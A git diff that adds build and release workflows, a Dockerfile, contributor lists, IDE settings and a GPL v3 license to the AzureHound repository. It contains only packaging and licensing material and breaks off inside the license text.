diff --git a/.all-contributorsrc b/.all-contributorsrc new file mode 100644 index 0000000..fd96b1e --- /dev/null +++ b/.all-contributorsrc @@ -0,0 +1,97 @@ +{ + "projectName": "AzureHound", + "projectOwner": "BloodHoundAD", + "repoType": "github", + "repoHost": "https://github.com", + "files": [ + "CONTRIBUTORS.md" + ], + "imageSize": 100, + "commit": true, + "commitConvention": "none", + "contributors": [ + { + "login": "andyrobbins", + "name": "Andy Robbins", + "avatar_url": "https://avatars.githubusercontent.com/u/842644?v=4", + "profile": "https://www.twitter.com/_wald0", + "contributions": [ + "ideas", + "design", + "blog", + "content", + "doc" + ] + }, + { + "login": "ddlees", + "name": "Dillon Lees", + "avatar_url": "https://avatars.githubusercontent.com/u/8984872?v=4", + "profile": "https://github.com/ddlees", + "contributions": [ + "code", + "maintenance", + "ideas", + "design" + ] + }, + { + "login": "rvazarkar", + "name": "Rohan Vazarkar", + "avatar_url": "https://avatars.githubusercontent.com/u/5720446?v=4", + "profile": "https://blog.cptjesus.com/", + "contributions": [ + "code", + "maintenance" + ] + }, + { + "login": "urangel", + "name": "Ulises Rangel", + "avatar_url": "https://avatars.githubusercontent.com/u/16910931?v=4", + "profile": "https://ulises.io/", + "contributions": [ + "code", + "maintenance" + ] + }, + { + "login": "joshgantt", + "name": "joshgantt", + "avatar_url": "https://avatars.githubusercontent.com/u/29784250?v=4", + "profile": "https://github.com/joshgantt", + "contributions": [ + "code", + "maintenance" + ] + }, + { + "login": "hugo-syn", + "name": "hugo-syn", + "avatar_url": "https://avatars.githubusercontent.com/u/61210734?v=4", + "profile": "https://github.com/hugo-syn", + "contributions": [ + "code" + ] + }, + { + "login": "crimike", + "name": "crimike", + "avatar_url": "https://avatars.githubusercontent.com/u/10261812?v=4", + "profile": "https://github.com/crimike", + "contributions": [ + "code" + ] + }, + { + "login": "0xffhh", + "name": "0xffhh", + "avatar_url": "https://avatars.githubusercontent.com/u/56194755?v=4", + "profile": "https://github.com/0xffhh", + "contributions": [ + "code" + ] + } + ], + "contributorsPerLine": 7 +} diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..aa10ef9 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,2 @@ +logs +*.log diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..f6342c0 --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,112 @@ +name: Build + +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + test: + runs-on: ubuntu-latest + defaults: + run: + shell: bash + steps: + - uses: actions/checkout@v3 + + - name: Setup Go + uses: actions/setup-go@v3 + with: + go-version-file: go.mod + check-latest: true + cache: true + + - name: Test + run: go test ./... + + containerize: + runs-on: ubuntu-latest + permissions: + packages: write + defaults: + run: + shell: bash + steps: + - uses: actions/checkout@v3 + + - name: Log in to the Container registry + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Extract metadata + id: meta + uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 + with: + images: ghcr.io/bloodhoundad/azurehound + tags: | + type=edge,branch=main + + - name: Build Container Image + uses: docker/build-push-action@v3 + with: + context: . + build-args: VERSION=v0.0.0-rolling+${{ github.sha }} + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} + push: ${{ ! startsWith(github.event_name, 'pull_request') }} + + build: + runs-on: ubuntu-latest + defaults: + run: + shell: bash + strategy: + matrix: + os: + - darwin + - linux + - windows + arch: + - amd64 + - arm64 + steps: + - uses: actions/checkout@v3 + + - name: Setup Go + uses: actions/setup-go@v3 + with: + go-version-file: go.mod + check-latest: true + cache: true + + - name: Build + run: 'go build -ldflags="-s -w -X github.com/bloodhoundad/azurehound/v2/constants.Version=v0.0.0-rolling+${{ github.sha }}"' + env: + GOOS: ${{ matrix.os }} + GOARCH: ${{ matrix.arch }} + + - name: Zip + if: "! startsWith(github.event_name, 'pull_request')" + run: 7z a -tzip -mx9 azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip azurehound* + + - name: Compute Checksum + if: "! startsWith(github.event_name, 'pull_request')" + run: sha256sum azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip > azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip.sha256 + + - name: Update Rolling Release + if: "! startsWith(github.event_name, 'pull_request')" + uses: softprops/action-gh-release@v1 + with: + name: Rolling Release (unstable) + tag_name: rolling + prerelease: true + files: | + azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip + azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip.sha256 + body: | + Rolling release of AzureHound compiled from source (${{ github.sha }}) + This is automatically kept up-to-date with the `${{ github.ref_name }}` ${{ github.ref_type }} diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml new file mode 100644 index 0000000..c2c8b0c --- /dev/null +++ b/.github/workflows/cla.yml @@ -0,0 +1,24 @@ +name: "CLA Assistant" +on: + issue_comment: + types: [created] + pull_request_target: + types: [opened, closed, synchronize] + +jobs: + CLAssistant: + runs-on: ubuntu-latest + steps: + - name: "CLA Assistant" + if: (github.event.comment.body == 'recheck' || github.event.comment.body == 'I have read the CLA Document and I hereby sign the CLA') || github.event_name == 'pull_request_target' + uses: contributor-assistant/github-action@v2.3.1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PERSONAL_ACCESS_TOKEN: ${{ secrets.REPO_SCOPE }} + with: + path-to-signatures: "signatures.json" + path-to-document: "https://github.com/BloodHoundAD/CLA/blob/main/ICLA.md" + branch: "main" + remote-organization-name: BloodHoundAD + remote-repository-name: CLA + allowlist: dependabot[bot] diff --git a/.github/workflows/jekyll-docker.yml b/.github/workflows/jekyll-docker.yml deleted file mode 100644 index ee24716..0000000 --- a/.github/workflows/jekyll-docker.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: assets - -on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - -jobs: - build: - - runs-on: ubuntu-latest - - steps: - - uses: actions/checkout@v3 - - name: Learning subscriber - run: | - docker run \ - -v ${{ github.workspace }}:/srv/jekyll -v ${{ github.workspace }}/_site:/srv/jekyll/_site \ - jekyll/builder:latest /bin/bash -c "chmod -R 777 /srv/jekyll && jekyll build --future" diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml new file mode 100644 index 0000000..da302ac --- /dev/null +++ b/.github/workflows/publish.yml @@ -0,0 +1,85 @@ +name: Publish + +on: + push: + tags: + - "v*.*.*" + +jobs: + build: + runs-on: ubuntu-latest + defaults: + run: + shell: bash + strategy: + matrix: + os: + - darwin + - linux + - windows + arch: + - amd64 + - arm64 + steps: + - uses: actions/checkout@v3 + + - name: Setup Go + uses: actions/setup-go@v3 + with: + go-version-file: go.mod + check-latest: true + cache: true + + - name: Build + run: 'go build -ldflags="-s -w -X github.com/bloodhoundad/azurehound/v2/constants.Version=${{ github.ref_name }}"' + env: + GOOS: ${{ matrix.os }} + GOARCH: ${{ matrix.arch }} + + - name: Zip + run: 7z a -tzip -mx9 azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip azurehound* + + - name: Compute Checksum + run: sha256sum azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip > azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip.sha256 + + - name: Upload Release + uses: softprops/action-gh-release@v1 + with: + files: | + azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip + azurehound-${{ matrix.os }}-${{ matrix.arch }}.zip.sha256 + + containerize: + runs-on: ubuntu-latest + permissions: + packages: write + defaults: + run: + shell: bash + steps: + - uses: actions/checkout@v3 + + - name: Log in to the Container registry + uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Extract metadata + id: meta + uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38 + with: + images: ghcr.io/bloodhoundad/azurehound + tags: | + type=semver,pattern={{version}},prefix=v + type=semver,pattern={{major}}.{{minor}},prefix=v + + - name: Build Container Image + uses: docker/build-push-action@v3 + with: + context: . + build-args: VERSION=${{ github.ref_name }} + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} + push: true diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..13566b8 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/AzureHound.iml b/.idea/AzureHound.iml new file mode 100644 index 0000000..5e764c4 --- /dev/null +++ b/.idea/AzureHound.iml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..9dc1ccb --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.licenserc.yaml b/.licenserc.yaml new file mode 100644 index 0000000..378038d --- /dev/null +++ b/.licenserc.yaml @@ -0,0 +1,18 @@ +header: + license: + spdx-id: GPL-3.0-or-later + copyright-owner: Specter Ops, Inc. + software-name: AzureHound + paths: + - 'main.go' + paths-ignore: + - .git + - dist + - licenses + - '**/*.md' + + comment: on-failure + + dependency: + files: + - go.mod diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..85f5a30 --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,32 @@ + + +[![All Contributors](https://img.shields.io/badge/all_contributors-8-orange.svg?style=flat-square)](#contributors-) + +## Contributors ✨ + +Thanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)): + + + + + + + + + + + + + + + + + +

Andy Robbins

🤔 🎨 📝 🖋 📖

Dillon Lees

💻 🚧 🤔 🎨

Rohan Vazarkar

💻 🚧

Ulises Rangel

💻 🚧

joshgantt

💻 🚧

hugo-syn

💻

crimike

💻

0xffhh

💻
+ + + + + + +This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome! diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..0824ddc --- /dev/null +++ b/Dockerfile @@ -0,0 +1,16 @@ +# syntax=docker/dockerfile:1 + +FROM golang:1.20 as build +WORKDIR /app + +ARG VERSION=v0.0.0 +ENV CGO_ENABLED=1 + +COPY ./ ./ +RUN go mod download +RUN go build -ldflags="-s -w -X github.com/BloodHoundAD/AzureHound/v2/constants.Version=$VERSION+docker" + +FROM gcr.io/distroless/base-debian12:nonroot +LABEL org.opencontainers.image.source https://github.com/BloodHoundAD/AzureHound +COPY --from=build /app/azurehound / +ENTRYPOINT ["/azurehound"] diff --git a/LICENSE b/LICENSE-SEC similarity index 100% rename from LICENSE rename to LICENSE-SEC diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..fe9d499 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,676 @@ +GNU GENERAL PUBLIC LICENSE + +Version 3, 29 June 2007 + +Copyright 2007 Free Software Foundation, Inc. [fsf](http://fsf.org/) +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +# AzureHoundAD / `Main` + +The GNU General Public License is a free, copyleft license for +software and other kinds of works. + +The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + +When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + +To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + +For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + +Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + +For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + +Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + +Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + +The precise terms and conditions for copying, distribution and +modification follow. + +TERMS AND CONDITIONS + +0. Definitions. + +"This License" refers to version 3 of the GNU General Public License. + +"Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + +"The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + +To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + +A "covered work" means either the unmodified Program or a work based +on the Program. + +To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + +To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + +An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + +1. Source Code. + +The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + +A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + +The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + +The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + +The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + +The Corresponding Source for a work in source code form is that +same work. + +2. Basic Permissions. + +All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + +You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + +Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + +3. Protecting Users' Legal Rights From Anti-Circumvention Law. + +No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + +When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + +4. Conveying Verbatim Copies. + +You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + +You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + +5. Conveying Modified Source Versions. + +You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + +a) The work must carry prominent notices stating that you modified +it, and giving a relevant date. + +b) The work must carry prominent notices stating that it is +released under this License and any conditions added under section +7. This requirement modifies the requirement in section 4 to +"keep intact all notices". + +c) You must license the entire work, as a whole, under this +License to anyone who comes into possession of a copy. This +License will therefore apply, along with any applicable section 7 +additional terms, to the whole of the work, and all its parts, +regardless of how they are packaged. This License gives no +permission to license the work in any other way, but it does not +invalidate such permission if you have separately received it. + +d) If the work has interactive user interfaces, each must display +Appropriate Legal Notices; however, if the Program has interactive +interfaces that do not display Appropriate Legal Notices, your +work need not make them do so. + +A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + +6. Conveying Non-Source Forms. + +You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + +a) Convey the object code in, or embodied in, a physical product +(including a physical distribution medium), accompanied by the +Corresponding Source fixed on a durable physical medium +customarily used for software interchange. + +b) Convey the object code in, or embodied in, a physical product +(including a physical distribution medium), accompanied by a +written offer, valid for at least three years and valid for as +long as you offer spare parts or customer support for that product +model, to give anyone who possesses the object code either (1) a +copy of the Corresponding Source for all the software in the +product that is covered by this License, on a durable physical +medium customarily used for software interchange, for a price no +more than your reasonable cost of physically performing this +conveying of source, or (2) access to copy the +Corresponding Source from a network server at no charge. + +c) Convey individual copies of the object code with a copy of the +written offer to provide the Corresponding Source. This +alternative is allowed only occasionally and noncommercially, and +only if you received the object code with such an offer, in accord +with subsection 6b. + +d) Convey the object code by offering access from a designated +place (gratis or for a charge), and offer equivalent access to the +Corresponding Source in the same way through the same place at no +further charge. You need not require recipients to copy the +Corresponding Source along with the object code. If the place to +copy the object code is a network server, the Corresponding Source +may be on a different server (operated by you or a third party) +that supports equivalent copying facilities, provided you maintain +clear directions next to the object code saying where to find the +Corresponding Source. Regardless of what server hosts the +Corresponding Source, you remain obligated to ensure that it is +available for as long as needed to satisfy these requirements. + +e) Convey the object code using peer-to-peer transmission, provided +you inform other peers where the object code and Corresponding +Source of the work are being offered to the general public at no +charge under subsection 6d. + +A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + +A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + +"Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + +If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + +The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + +Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + +7. Additional Terms. + +"Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + +When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + +Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + +a) Disclaiming warranty or limiting liability differently from the +terms of sections 15 and 16 of this License; or + +b) Requiring preservation of specified reasonable legal notices or +author attributions in that material or in the Appropriate Legal +Notices displayed by works containing it; or + +c) Prohibiting misrepresentation of the origin of that material, or +requiring that modified versions of such material be marked in +reasonable ways as different from the original version; or + +d) Limiting the use for publicity purposes of names of licensors or +authors of the material; or + +e) Declining to grant rights under trademark law for use of some +trade names, trademarks, or service marks; or + +f) Requiring indemnification of licensors and authors of that +material by anyone who conveys the material (or modified versions of +it) with contractual assumptions of liability to the recipient, for +any liability that these contractual assumptions directly impose on +those licensors and authors. + +All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + +If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + +Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + +8. Termination. + +You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + +However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + +Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + +Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + +9. Acceptance Not Required for Having Copies. + +You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + +10. Automatic Licensing of Downstream Recipients. + +Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + +An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + +You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + +11. Patents. + +A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + +A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + +Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + +In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + +If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + +If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + +A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + +Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + +12. No Surrender of Others' Freedom. + +If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + +13. Use with the GNU Affero General Public License. + +Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + +14. Revised Versions of this License. + +The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + +If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + +Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + +15. Disclaimer of Warranty. + +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM 